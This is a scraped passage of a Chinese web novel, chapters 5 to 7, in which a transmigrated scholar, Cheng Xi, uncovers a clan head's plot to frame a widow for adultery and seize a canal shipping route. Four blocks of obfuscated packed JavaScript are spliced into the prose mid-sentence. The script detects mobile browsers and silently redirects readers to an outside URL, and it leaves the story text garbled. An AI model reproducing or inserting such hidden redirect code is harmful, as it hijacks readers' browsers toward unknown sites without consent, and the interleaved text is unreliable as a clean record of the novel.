想归这么想,程曦却不能直说,只能继续安抚五爷爷,并且表示自己已经有打算,后面绝对会永攀事业高峰,让族长不敢轻举妄动。 如此这般,终于将五爷爷哄回去之后,程曦才锁好家中门锁,于关窗的房间里掏出一张信纸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374195|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着信上的内容,程曦一边敲击桌子一边纳闷地想:死去的怎么会是河道总督御史呢? 程曦反复推算,依然想不明白:这不符合疑犯们的利益需求啊! 总不能河道总督御史真是个倒霉蛋,意外死掉的吧? 难以理解的程曦再次画起了河道的人员关系图,想要从中寻找一些蛛丝马迹。 这一找就是大半天,晚上睡觉前程曦还在琢磨:总不能是那谁知道自己会被下手,找了个替死鬼上达天听,让凶手们不敢再轻举妄动吧? 因为脑子里存了事,程曦这一晚睡得并不安稳。 迷迷糊糊的时候,程曦听到了鼓噪的声音。 套上外衣,程曦打开门,看到五爷爷一家果然已经开了门,于是打听道:“这是怎么了?” 为了保障自家权益于是深度参与宗族各项事务的祖叔说道:“听声音是村西边闹出来的事,我正打算去看看呢,曦哥儿要不要一起?” 作为老程家这一分支唯一的代表,程曦当仁不让、必须要去。 今天程曦敢不去,明天族里分东西族长就敢漏了她。 “要去的,”程曦连忙说道:“夜里凉,我去披一件衣服马上来,您要不要也回去添一件衣服?” 族叔也是四十的人了,于是从谏如流,和程曦一样穿了好几层才出门。 没有光污染的古代乡村一片漆黑,程曦和族叔提着灯笼也不敢走得太快,等到地点后,发现已经看不懂事情的发展了。 “这是发生了什么?”族叔连忙和住在村西并且关系还不错的族人打听。 “我醒过来的时候就已经闹起来了,”族人知无不言:“出门一看,就看到七婶把贵哥儿家的拉出来了,拉出来的时候连外衣都没穿,骂她偷汉子呢!” “这不至于吧?”族叔有自己的判断:“贵哥儿家的如果想汉子,改嫁就是了,何必偷人呢?前段时间求娶她的那个行商多好啊,她都没嫁,说是要守着抚养孩子长大呢。” “谁说不是呢?”族人使了个眼色,阴阳怪气地说道:“还是咱们七婶看的透彻,说是这寡妇要么就是时间长了寂寞难耐思春了,要么就是和奸夫早有勾搭才看不上行商。” “天呐,七奶奶居然这么懂!”程曦也紧跟着阴阳怪气:“是不是自己守寡守出来的经验啊?” 给程曦两人科普的族人没忍住偷笑了一声:“可不是,咱们族长可尊重七奶奶的经验了,现在要给贵哥儿家的问责呢。” 程曦看着抱着娘亲哭的小女孩,看她试图用自己小小的身体遮挡衣衫不整的娘亲,不由看了天上一眼。 老头子,你女儿我要不是穿越的,当年就是我抱着你的尸体哭了。 这么想着的时候,程曦听到族长嗓门嘹亮地说:“你们这样,是要沉塘的!” “族长,您这话就不对了,咱们可是远近闻名的刑名程家,怎么能知法犯法呢?您这是滥用私刑啊!”看不惯的程曦插嘴道:“这要是给人知道了,多影响我二伯的前程啊?” 5. 第 5 章 所谓打蛇打七寸,程曦口中的二伯就是族长的七寸。 一直以来,宗族都是嫡长子继承制,虽然已经是五代以外的旁系血亲,但是从宗族礼法来说,族长算程曦的爷爷,二伯则是族长的亲儿子。 族长能这么牛逼吃拿抢占,除了在宗族内本身的权力之外,还因为他儿子能在外帮他平事。 程家说是刑名师爷世家,但是这么多年,不会连几个读书苗子都没有,自然也有人中举补官、甚至中进士当官的。 江南能够世代传承的家族,都是靠读书起来的。 族长家中无人中进士,二伯的厉害之处在于,他有一个非常厉害的东主。 二伯的东主,是东南的封疆大吏,恰好二伯跟了他几十年,程曦估摸着二伯知道对方不少秘密,两人的利益高度绑定,所以对方才愿意一直给二伯平族长干出来的这些烂事。 当然,程曦觉得是烂事,二伯可不会这么觉得,毕竟哪有比侵吞族人家产还风险小收益高的事情了呢?他们没事也不会去惹家中有功名的族人,自家宗族两三百户人家,小千口人,还找不到几个软柿子吗? 更何况这事又不是自家一家人干,法不责众,大家都在干,也不能都被罚了啊。 程曦的话说完,族长就顺着她的声音看到了她。 一看是族里的刺头,族长就觉得头疼,没好气地瞪了程曦一眼:“我话都没说完,你一黄口小儿,别在这里插嘴!” 程曦此时感受到了以前上网时的无助:过继孩子的时候说我即将及冠不能膝下无儿,发表意见的时候说我黄口小儿不能插嘴,这双标算是给族长玩明白了。 双标的族长转头对着当事人继续说道:“你们这事放在其他宗族,那是要沉塘的!我们程家是遵法的人家,但是就算不沉塘,我们也要正家风!不能让宗族的名声被你们败坏了!” 族长的话说完,被两人压住的披头散发的男人就哭喊道:“族长!这事不能怪我啊!您要为我做主啊!我就是好心给贵哥家翻菜地,贵嫂说看我辛苦,给我做了一些酒菜,我怎么也想不到她是打了把我灌醉成好事的主意啊!我是被她灌醉了,任她摆弄啊!” 程曦没忍住笑了一下:这理由,没听说男人真醉死了还能犯案的。 其他人也看不过去,有人嘀咕:“贵哥儿家的就算耐不住寂寞要找人,也不会找他啊!” “可不是,他那样子我都嫌恶心,别说贵哥儿家的这种讲究人了!” 要不怎么说群众的眼睛是雪亮的呢? 但就算是雪亮的,大部分人还是置身事外袖手旁观,只看着二流子的近亲污蔑他人。 “我就说!我们家清清白白一个未婚的好小伙,怎么会失了智和寡妇扯上联系?!肯定是这小娼妇死了男人耐不住寂寞,看我们家儿子良善经常去给他们帮忙,所以把主意打到我儿子头上!” “你胡说!”坐在地上的女人没有说话,小女儿却爆发了:“明明是你儿子一看到我们家吃点肉就硬上门占便宜,谁不知道他就是个二流子!我们每次都任由他吃光才走,门都不敢锁!谁知道他半夜还能翻墙进来?!” “你个小妮子,胡言乱语颠倒黑白!要不是你们把我儿子留下来,我儿子翻墙进去你们不会喊人吗?!” “他刚翻墙进来扯开我娘的衣服你们就来抓奸了,这分明是你们设好的陷阱!”小女孩吼道。 女人听闻此言反应过来,一把捂住女儿的嘴巴,小女孩见状奇怪地看了亲娘一眼。 程曦意外地看了眼小女孩:这孩子还真有点勇气啊! 程曦难得起了点帮助他们的心思,不是因为无处安放的正义感,而是欣赏这女孩子抗争的勇气。 那种麻木的、懦弱的、随波逐流的人,程曦向来是不帮的,都说天助自助者,自己都不努力抗争,反而指望别人或老天爷给自己主持公道,程曦可不会上赶着当圣父圣母,谁知道那人会不会在你帮忙之后,反而怪你给的不够多? 但是在这个小女孩身上,程曦看到了一点自己当年的影子。 至于女人捂住小女孩的嘴,程曦猜测是女人已经预料到自己的结局,不想女儿被族长记恨,到时候被卖去远乡坏地方。 毕竟女人一家是真的六亲无靠,贵哥生前就和继母生的兄弟闹得老死不相往来,如果女人死了,女孩血缘最近的亲戚只会拍手叫好,谁会关照她? 捂住女儿的嘴,女人才说道:“族长明鉴,小孩子不懂事,但是也不会撒谎,确实是这二流子翻墙进来试图玷污我,好在周围邻里发现及时,中断了他的作为,不然我还有什么颜面去见先夫?还望族长为我做主啊!” 女人这话一出,就从原本小女孩说的陷害,变成了大家见义勇为及时打断犯罪,对立面从族长等一群人变成了只有二流子家一家人。 听到女人的话,族长眯了眯眼睛:没想到这贵哥家的,还有点脑子在。 同样听到女人的话,二流子家的反应就更不同了:“呸!明明是你蓄意勾引不成想要生米煮成熟饭,被发现了就倒打一耙!” “贵哥儿娶了个好老婆啊。”族叔感慨道。 程曦点了点头:“但是没用的。” 女人可能也知道,单是自己嘴中说说并没有什么用处,于是连忙加大了筹码:“先夫在过世之前就很关注族学的发展,也一直说如果没有族中的帮扶他不可能有这般的成就,所以一直有给族学捐赠一些祭田的想法。” 听到这里,周围明白人都清楚,女人这是想通过献出家产保全自己。 程曦心里叹了口气:但是还是没用的。 豺狼如果能够吞吃整只猎物,怎么会得到一只腿就满足呢? 更何况,程曦看着族长手上越转越快的玉戒:总觉得这老登有什么额外的打算。 “你们双方各执一词,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374196|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不能看你们一面之词,还是要看证人和证据才是!”族长貌似公允地说道。 “我们有证人!”二流子的亲爹立马说道:“周边邻居都能看到,我家儿子经常去她家里吃吃喝喝,这都是我儿子帮忙做活,她邀请去的!” 族叔听闻这话都忍不住吐槽:“隔壁邻居都是她关系不好的小叔子和妯娌,这证人可真会找。” 二流子亲爹还在说着:“要知道周边可都是他男人的亲兄弟,亲兄弟都不向着她,这证人够有力了吧?” 女人气得身体抖动。 “这……”族长故作犹豫一般看向女人:“你看,他们有证人,你这里有什么证人证据吗?” 女人环视四周,周围人都避开了她的眼睛。 就在女人绝望的时候,小女孩突然跳出来指着二流子说:“他说谎!他说今天给我们翻地,但是我家院子里的菜地是没有翻过的!” 能当二流子的人,脑子一般不会太慢,因为笨人做不了二流子,真正的聪明人又不会去当二流子,所以二流子一开始说话的时候就出现了漏洞,他甚至都没有考察女人家菜地的情况,只是看自己家最近在翻地,就想当然地说了。 虽然有漏洞,但是二流子弥补地也很快:“是贵嫂说看我辛苦,先招待我吃喝,然后再让我翻地。” “哪有人招待别人喝了酒再翻地的?想都知道不正常,你怎么还喝酒?”小女孩和对方对线,女人扯她胳膊都扯不动。 “这不是盛情难却吗?”二流子回答。 “好了,这事难以作为有力的证据,你们再想想别的就是。”族长打断道。 小女孩看向族长:“可是族长,我家菜地已经翻过了啊?” “不信您带人去检查看看,新翻出来的泥土痕迹还在呢!这人先是说翻地,然后又说没翻,也不知道他什么时候说的才是真话啊。” 女孩这话一出,众人皆惊。 “呦吼!”程曦小小声惊叹一下,心想:这逻辑周全论据充实,反杀啊! 周围人交头接耳议论纷纷,一时之间细碎的声音都大了起来。 族长周围的一圈人脸色都变得不好看起来。 族叔甚至在一旁激动地和程曦说道:“是不是贵哥儿家的能洗清罪名了?” 程曦依然摇头:“恐怕不行。” 族叔不解:“为什么?都证明这二流子撒谎了啊?” 程曦看向族长,族叔不解地顺着程曦的目光望过去。 只见族长开口说道:“好的,你们现在证明了他的话有假,但是我们也不能确定,是不是因为你们双方都害怕承担通奸的罪责,都想要把自己摘出去,所以狗咬狗?” 程曦有一种猜测落地的感觉:果然啊!这老登要是没两把刷子,怎么可能干了这么多违法乱纪的事情还没被掀翻? 啊?你说全靠他儿子?他儿子发达之前那几十年呢? 6. 第 6 章 族长的话说完之后,族叔就傻了眼。 “曦哥儿,”族叔看着程曦说道:“族长这样说都行?” 程曦反问:“为什么不行?这两人的证言都是一面之词,但是他们被捉奸是大家都看到的,甚至邻居的证言能佐证他们两来往密切。” “贵哥儿家的也太可惜了,这分明是族长觊觎他们家的钱财!”族叔叹气道。 “钱财?”程曦摇摇头:“那可不一定,如果是钱财的话,何必要搞这么一出,肯定是族长有什么打算。” 程曦给族叔分析:“如果不是族长他们给了足够的好处,二流子一家人能配合他们演戏?不怕对方反咬一口?” “也许是二流子临时起意,族长他们顺水推舟?”族叔猜测。 程曦摇头:“顺水推舟是没办法在短时间内聚集这么多人,钉死两人不清白的证据的。” 听到程曦的话,族叔不解地说道:“他们闹这么大的阵仗,到底想要干什么呢?” 程曦也重复道:“是啊,他们究竟想要干什么呢?” 族长想要贵哥家的三瓜两枣,根本不需要闹出这么大的动静,毕竟贵哥家中无子就是最好的理由,平和点的,类似针对程曦这种,直接过继一个孩子继承家产,再给贵哥的女儿订一门亲,订那种对族长家中有好处、一般疼爱女儿的人家不愿意嫁女儿的亲事就行。 找不到这种亲事也没关系,把贵哥女儿送去当妾就好了,连嫁妆都省了。 至于说什么会不会怕她女儿得宠之后反过来陷害族长一家,程曦只能说后世的小说和影视剧想太多,这种魅魔出现的概率,比少年进士还要稀有,是真正的一将功成万骨枯。 程曦分析过这条路途,想来想去,只有当小妾生的儿子天赋异禀极其会读书,或者全家除了小妾都生不出儿子、嫡母还不会去母留子,等小妾的儿子当上大官了,也就能报复族长了。 只是到那个时候,族长早就烂棺材里了。 所以程曦笃定族长有另外的打算,却又不知道他到底在打算什么,似乎就差那么一丝,就能抓到灵感。 污蔑贵嫂的名声,对族长会有什么好处呢? 如果看不到对族长的好处,那么跳出来看,是不是对二伯有什么好处? 程曦还在琢磨的时候,族长已经下令将被捉奸的两人看管起来,等待明日再作定夺。 程曦打了个哈欠,惹来族长警惕的一眼,却没事人一样,对着族叔说:“叔!赶紧回去吧,我都困死了。” “呸呸呸!小孩子别说什么死不死的,不吉利!”族叔一边说着,一边举起灯笼,关注着程曦别被带倒了。 族长以为程曦这个搅屎棍今天又要跳出来说点自己不爱听的话,结果除了一开始提了一句滥用私刑,居然全程没有杠,还觉得有点不习惯。 晚上回家的路上,还和自己的大儿子说道:“今天程曦好像格外安静,你派人盯着他,看他是不是要闹出什么幺蛾子。” 少族长闻言,不由劝道:“他不闹事不好吗?爹您是不是太关注他了?他一个文弱书生,能干出什么事?我们现在的重点不是二弟交代的事情吗?” 族长摇头:“你不懂!咬人的狗不叫,他突然不闹了,才是有大事呢!别忘了我们前段时间想要给他过继,他是怎么拒绝的,现在这么好的机会,他居然没反应,这不正常。” “会不会是他太困了?”少族长猜测:“毕竟他平时身体也不好,而且今天也和您对着说了一句。” 族长摇头:“小心驶得万年船,你弟弟交代的事情必须万无一失,你别偷懒,派人看着程曦,别让他搞事。” 少族长点头答应了下来。 程曦一副吊儿郎当的样子跟着族叔回家,在只剩下两人的时候,对着族叔说:“叔,等明天天还没亮的时候,让哥翻墙来找我。” 族叔闻言一激灵,问道:“怎么了?是需要他干什么?” 程曦笑笑:“没什么,就是帮我送一封信,再去邻县打听点消息,哥明天要当天来回,所以天没亮就要出发了。” 族叔想要问,但是犹豫了一下又没问出口,只是打包票道:“有用得到你哥的地方,你尽管说。” 程曦笑了笑,回忆起族长派去看管贵嫂的两个妇人,心中计定。 第二天天还没亮,族兄就翻墙找到了程曦。 “曦哥儿,找我什么事?尽管说。” “哥,这是我给同窗的信,你之前帮我送过,知道人在哪里,待会儿你就出发,最好别被人发现,如果被发现了,就说替我给同窗送信,有人偷信抢信的话,你就假装阻拦,但是不用硬拦。”程曦嘱咐道:“这信里没什么不能见人的东西。” 族兄闻言慎重点头,将信放入胸膛的内袋中,问道:“这信是幌子,你需要我做什么?” “兄长你就是聪明,”程曦夸奖了一句,在族兄一副谁有你聪明的无奈笑容中说道:“您去邻县贵嫂娘家,打听一下他们家有没有什么情况,比如说谁去世了,或者谁发达了。” 族兄闻言点头,又犹豫问程曦:“我需要给贵嫂的娘家人报信吗?” 程曦点头:“可报可不报,但是不要暴露你自己。” 族兄明白了:“没问题,交给我!” 等程曦交代好所有事情,族兄又翻墙回了自己家中,从后门偷偷溜了出去。 程曦送走族兄,回到屋子里睡了个回笼觉,一觉睡到天亮后起床,洗漱完一打开院门,就看到几个不应该出现在这里的人。 “哎哟!几位哥哥,什么风把你们吹到这里来了?难道这里推牌九更有感觉?”程曦好笑地打招呼。 让族里这几个人抛弃常驻地,把打牌地点换成了自己家门口,族长一家也不知道是太看得起自己还是太看不起自己。 说他看不起吧,自己昨天只是少说了几句话,他就找人来看着自己的行踪。 说他看得起吧,这几个人管什么用?而且一群赌棍一大早就起床换地点打牌,谁都知道这事不对劲吧? 当然,程曦不知道,族长并没有打算打探出程曦想要干什么,毕竟族长已经深刻认识到,程曦这个病秧子的脑子绝对有病,一般人是猜不出他的想法的。 族长不需要赌棍们做什么,只需要他们限制住程曦的行动,别让他到处串门或者出村就行。这事对于赌棍们这种闲汉来说,是最专业对口的。 程曦看到这几个人,直接回身拿了一个渔笼子,去往村边的小溪,任谁看了也知道他这是要去捕鱼,几个赌棍对视一眼,收了手里的牌,直接跟上了程曦。 有人甚至还特别拙劣地表演道:“哎呀,打牌太久了脖子疼,起来活动活动。” 到达小溪边,不出程曦的预料,果然看到了贵哥的女儿。 这事甚至不需要程曦发挥自己的推理能力,脑子早就自动得出了结论。 已知贵哥女儿这个年纪的女孩子都开始帮家里做家务,已知族长让人看管贵嫂不许她外出,已知族长派过去的两个妇人都是好吃懒做的婆子——得出贵哥女儿要来小溪边洗家里衣服这事,也是自然而然了。 这年头家里有两三套应季的衣服已经算是家境殷实了,昨天闹了那么一出,前几天又都是细雨天,路上都是泥,贵哥儿家中如果没人洗衣服,怕是明天就没衣服穿了,所以两个婆子肯定会放贵哥儿女儿来洗衣服,并且把自己的衣服也扔给她洗占便宜。 所以,这就是程曦能够接近贵哥家中人最好的机会。 “嘿,小孩,你昨天反杀的那招用得不错啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374197|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”程曦打招呼道。 “我不叫小孩,我叫福丫!”小女孩反驳道。 “好的福丫。”程曦改口,问福丫:“你们想不想洗脱自己的罪名,让陷害你们的那群人,包括族长都付出代价啊?” 福丫警惕地问:“你想要干什么?” 程曦摇头:“小孩我多教你一个乖,你不应该问我想要干什么,我刚刚都说了,我能够让他们付出代价,在这一点上,我们的目标是一致的,至于我有没有额外需要达成的目的,在你处于弱势需要帮助的情况下,不要刨根问底。” “面对这种情况,你正确的做法应该是问我:你想要什么?” “不用纠结别人的目的,而是要看别人想要你付出什么代价,懂了吧?”程曦揉了把福丫的脑袋。 福丫显然把程曦的话听了进去,思考了一下,问程曦:“那么,你想要什么呢?” “我想要你们给族长找麻烦啊!”程曦声音开朗地说道。 听到程曦的话,边上狗狗祟祟偷听的赌棍瞪大了眼睛:好家伙,曦哥儿这小子果然一身反骨,族长的麻烦他都敢找!不怕族长反过来找他麻烦吗? 这么想着,赌棍们派了一个人去通知少族长。 听到有人跑远的动静,程曦的嘴角露出了意味深长的微笑:这是有人跑去报信了啊。 程曦觉得自己和族长这一出就像是套娃,族长以为自己预判了程曦的行为,程曦却预判了族长的预判,也不知道自己和族长两人到底是道高一尺,还是魔高一丈。 最终的结果,还要看族长有没有派人在贵嫂娘家附近拦截,以及事情究竟是不是如同程曦猜测的与贵嫂娘家有关。 福丫听到程曦的话,问道:“我们给族长找麻烦,对你有什么好处吗?” 程曦说道:“你可能不知道,族长想要给我过继儿子,继承我家的家业,但是儿子的人选都是他定的,我不愿意,当然就想要给他找麻烦了。” 听到程曦这话,有赌棍说道:“这家伙居然还对族长他们记恨在心,这事很重要,我要去报告。”说完也溜了出去。 剩下的两人过了一会儿才反应过来:“这两人该不会是自己跑去领赏了吧?” 这时候,听到报告的少族长压抑住怒气,给了两个赌棍一串铜板,就连忙去了亲爹那里。 “爹!还是您老人家厉害,昨晚一眼就知道程曦不对,他今天就跑去找了阿贵的女儿,想要撺掇人家给我们找麻烦呢!” 族长闻言,悠闲地抿了口茶:“所以我说什么来着?你啊,还年轻,还需要历练。” 少族长低头表示出认错的态度,追问道:“那我们现在怎么办?要不我找人打程曦一顿,就他那身板,下个月估计都要在床上待着,肯定碍不着我们。” 族长闻言连连摇头:“你这孩子,做事就是太粗糙了,程曦好歹也是有功名的人,县学每个季度都要关心廪生的情况,考核他们的学问,你派人打他一顿,到时候闹上县衙,难道脸上就很好看吗?还是你能担保你的人不会被程曦抓住马脚?” 说完,族长义正言辞地表示:“我们都是遵从律法的人,可不能干出这种事情。” “所以爹您的意思是?”少族长小心翼翼地问道。 “二流子的家人刚刚求到你娘那里,他们可不想被安上通奸罪挨板子,正好程曦凑上去和贵哥儿家的搅合在一起,说他们私底下没联系,谁相信呢?就是不知道程曦那身板,能不能挨过县衙的几板子了。”族长嘬了口茶,摇头晃脑的样子十足的反派模样。 “妙啊!爹您可太厉害了!”少族长兴奋的一拍掌:“我这就让人安排!” 说完,少族长又犹豫问:“那如果程曦只接触阿贵的女儿,从不接触那女人,咱们怎么办?” 7. 第 7 章 程曦从来都不惮以最大恶意揣测族长要做什么,所以在一开始的时候,就打定主意只和福丫单独接触。 万一贵嫂也是族长钓鱼执法用来解决自己的呢?程曦自恋地想着。 虽然理智告诉程曦,自己没那么重要,但是情感上让程曦保留了这种可能性,毕竟搂草打兔子,族长这老登干出什么都很正常。 此时少族长问出这个问题,还真让族长沉吟了一下。 沉吟半天,族长还真没什么好办法。 “那小崽子警惕的很,设局骗他基本骗不到,要说把他打晕了扔进去,他身体那么差,万一下手的轻重没掌握好,打死了就坏事了,好歹他也是个秀才,上面肯定会着重查的。”族长揪着自己的胡子,说道:“你先看看有没有什么机会,实在没有我们再从长计议。” 说完,族长才对儿子说:“现在关键是做好你弟弟交代的事情,要是能成,咱家至少十年内无忧了!” 就在族长和儿子交代事情的时候,程曦也和福丫达成了“初步协议”,至于合作细节,按照程曦给福丫的说法,到时候咱们见招拆招。 目送福丫回家,程曦扫了眼藏着人的草丛,悠哉地迈步走了回家。 现在,就等族兄带来消息,看能否验证自己的猜测了。 就算不能验证也没有什么,程曦想起昨天来拜访的砚秋和墨秋,再想想昨日早上听说的事情:还有后招! 心里笃定,程曦就开始盘算着自己出了孝期要去哪里当师爷了。 一条路自然是秦国公府,虽然他们背后有深坑,不受本朝最大的老板的待见,但是如果只是作为跳板,也不是不行。 另一条路就是秦国公府要对付的人。 显然,秦国公府之所以能派出两个小厮请师爷,关键不是让师爷给自己什么帮助,而是要绑定师爷,让他不能再接受别人的邀请。 虽然因为距离遥远,程曦还不知道这个“别人”是什么人,但是不妨碍程曦把他放在备选之上。 第三条路,也是最稳妥的一条路,就是选择自己的同窗。 首先,有同窗感情,不用磨合,其次,信任度比较高,自己会有话语权,最后,自己挑选的人能够放心,不用担心同窗贪污腐败连累自己。 然而,富贵险中求,稳妥也就意味着没有太大进步的空间,程曦想到自己那个二伯——只是稳妥的话,真的不会被他算计牺牲吗? 程曦内心长叹:还是看看秦国公府要对付的究竟是什么人吧。 尾随的两人看着程曦进了家门后没有再出来,等了会儿,无聊地又开始赌大小。 日常来程曦家里打扫洗衣的三娘在惯常的时间登门。 “三娘!”程曦打招呼。 “曦哥儿!”三娘问候道:“昨天找到大黄了吗?” 程曦闻言,露出了今天第一个真心的笑容:“找到了,回来轮流挨训,狗洞也被堵了,五奶奶说这个月都不给它吃肉呢!” 三娘闻言也笑了:“五婶真是,这个月还剩几天?不知道的还以为是一个月呢!” “还不是不舍得吗?要我说,大黄都是被她惯出来的。”程曦摇头:“惯子如杀子啊。” 三娘听闻程曦的话,没忍住笑:“曦哥儿你可这促狭,大黄就是一只狗,又不是儿子,五奶奶惯它一点又不会怎么样!” 说完三娘又和程曦八卦:“你听说昨天晚上那件事情了没?” 程曦回答道:“不仅听说了,我当时怕有什么事情,还去了现场,看到了族长他们。” “听说昨天二流子他们想要诬赖贵哥儿家的,但是被戳穿了?”三娘问道。 “虽然戳穿了,但是也只能证明二流子不是无辜的,族长说了,不能证明他们两没有通奸。”程曦回答道。 “要我说,这二流子确实不是什么好东西,但是贵哥家的恐怕也不是完全无辜的。”三娘压低了声音说道。 “何以见得?”程曦挑眉问道。 “贵哥儿家的年轻的时候就轻佻!”三娘说道:“还没出嫁,就传出来名声,叫什么豆腐西施!要不贵哥儿跑商的时候怎么就被她迷住了呢?” “她们家也是,大的豆腐西施嫁人了,”三娘瘪嘴继续说道:“还让小的继续顶上,又成了新豆腐西施。” “还有这种说法?”程曦闻言,继续从三娘嘴里套消息。 “可不是!后来那二流子馋她家东西,又去她家摊子上闹事,她才会碰到二流子都是好吃好喝的招待着,没准早就委屈自己了呢!”三娘说道。 说完这些八卦,三娘又叹了口气:“虽然贵哥儿家的有些轻佻,但她确实是个不错的妻子和娘亲,之前阿贵生病,她一直照顾了一年多,阿贵死了之后她娘家让她改嫁,但是她改嫁了福丫就要留在族里,她舍不得孩子,还是守了下来。” 三娘的表现也是程曦最后会选择她当家政阿姨的原因,虽然她嘴碎,但是心地还算不错,并且因为她比较八卦,程曦也能得知很多原本无从知晓的消息。 程曦总结了一下:“所以您觉得贵嫂和二流子可能确实不清白,但是大概率是二流子一直以来威胁的?” 三娘连连点头:“这都在床上捉到了,能清白吗?” 程曦感受到了族长的险恶用心,就算贵嫂洗清嫌疑,恐怕也有很多人说她不清白,这无疑对于她的生存环境有非常大的危害。 用□□彐羞辱这种手段对付女人,一直以来都是男人掌握话语权的时代的惯例。 因为这种事情的发生太过于常见,程曦一时之间竟然不知道族长是故意为之还是只是挑了这个手段而已。 三娘打扫好家里之后,还问程曦:“听说昨天有人来找你,是找你查案的吗?” 作为八卦集散中心的一员,三娘有着旺盛的好奇心。 “不是,”程曦笑笑说:“他们是来告诉我,我之前一个同窗好友考上了进士了。” 三娘闻言立马眼睛一亮:“谁啊?我见过吗?” “张武鎏,或许您还记得他,就是脸方方的那一个,之前他们来我家中聚会,还是您收拾的桌椅。”程曦满足了三娘的好奇心。 “记得记得!”三娘连忙说道:“我当时看他就觉得他像当官的!那面相,就是传说中的地阁方圆嘛!” 程曦听到三娘这个结果倒推法,不由笑了。 满足了好奇心之后,三娘终于告辞离开,程曦在等待族兄回来的过程中平心静气地练字。 等到天色渐渐黑了,程曦停了笔,才看到窗外族兄翻墙到了院子里。 “兄长辛苦了,喝口热茶。”程曦连忙倒茶,招呼族兄坐下。 族兄坐下之后擦了擦汗,对程曦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374198|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“你不知道,贵嫂娘家完全闹得一团乱!” 程曦闻言微微前倾了身体:“发生了什么?” “他们家里吵吵成了一团,据说贵嫂妹妹偷偷生了一个孩子,现在孩子父亲家里来争孩子,说是愿意给贵嫂娘家宗族一条漕运线!”族兄惊叹般说道。 “什么?!”程曦也惊讶不已,古人会这么重视一个孩子吗?难道……是独苗? “那可是一条漕运线啊!这和坐在家里收钱有什么区别?但是贵嫂妹妹不愿意和儿子分开,闹着不同意,他们宗族还有人在劝说他们呢。”族兄说道。 “这事闹得很大吗?边上的人都听说了?”程曦问道。 族兄摇头:“没有,都是关在家里闹的,我打听消息的时候,邻居还以为是贵嫂妹妹未婚生子要被宗族惩罚呢,还是我后来路过我兄弟的店歇脚,我那个兄弟告诉我我才知道的,他说他儿子之前在贵嫂娘家玩捉迷藏听到的。” “兄长辛苦了,能打听到这个消息肯定很不容易吧?您有没有给兄弟带什么礼物?让小弟也尽一份绵薄之力?”程曦询问道。 “那是我过硬的兄弟!不是酒肉朋友,他什么都没要,咱给了才是看不起他,你记得他的好,以后发达了拉拔一把就好了。”族兄一挥手,拒绝了程曦的提议。 “你说,族长突然盯上贵嫂,是不是就是因为这件事情?”族兄问道。 “八九不离十。”程曦点头道:“肯定是想要在漕运线里分一杯羹,估计又是我们那个好二伯听说的消息,赶紧让族长来布局。” “族长要是能够拿到一部分,也是发财了。”族兄说着:“他现在打算怎么办?让贵嫂娘家用利益保住贵嫂的命?” “发不发财的可能是其次,漕帮本身也代表了权力。”程曦说着,想到二伯投靠的那位官员,再想着目前中央朝堂夺嫡的处境,怀疑二伯背后的人看中的是漕运线的运输作用,而非敛财作用。 “当然,族长可能最看重的就是发财了。”程曦笑了笑,没和族兄说这些更深一层面的东西:“不过用利益保住贵嫂的命……贵嫂的宗族也不是好惹的,他们可不一定会同意。” 族长本来也没打着让贵嫂宗族同意的打算。 “阿贵家的,你和二流子这事,不好办啊,这不处理,以后我还怎么正宗族的风气?”族长带着夫人找到了贵嫂,说道。 贵嫂低眉,一副顺从地样子问道:“不知族长您有什么可以教导我的?” 族长看到贵嫂这幅乖顺的样子,回答道:“不如说其实是你妹妹和二流子有关系,反正你妹妹和你长得非常相像,不是吗?” 贵嫂闻言一惊,没忍住看了族长一眼。 族长淡定回望:“你意下如何?” “族长,我妹妹还没嫁人……”贵嫂试图拒绝。 “男未婚女未嫁,只要成婚了,就不存在什么通奸的问题了,不是吗?”族长说道。 族长夫人在边上敲边鼓:“我们都是为了你好,要知道,通奸送到官府,那是要杖刑的!你一个女人,万一出事了,你让福丫怎么办?” 贵嫂听明白,这是在用自己的性命和女儿威胁了。 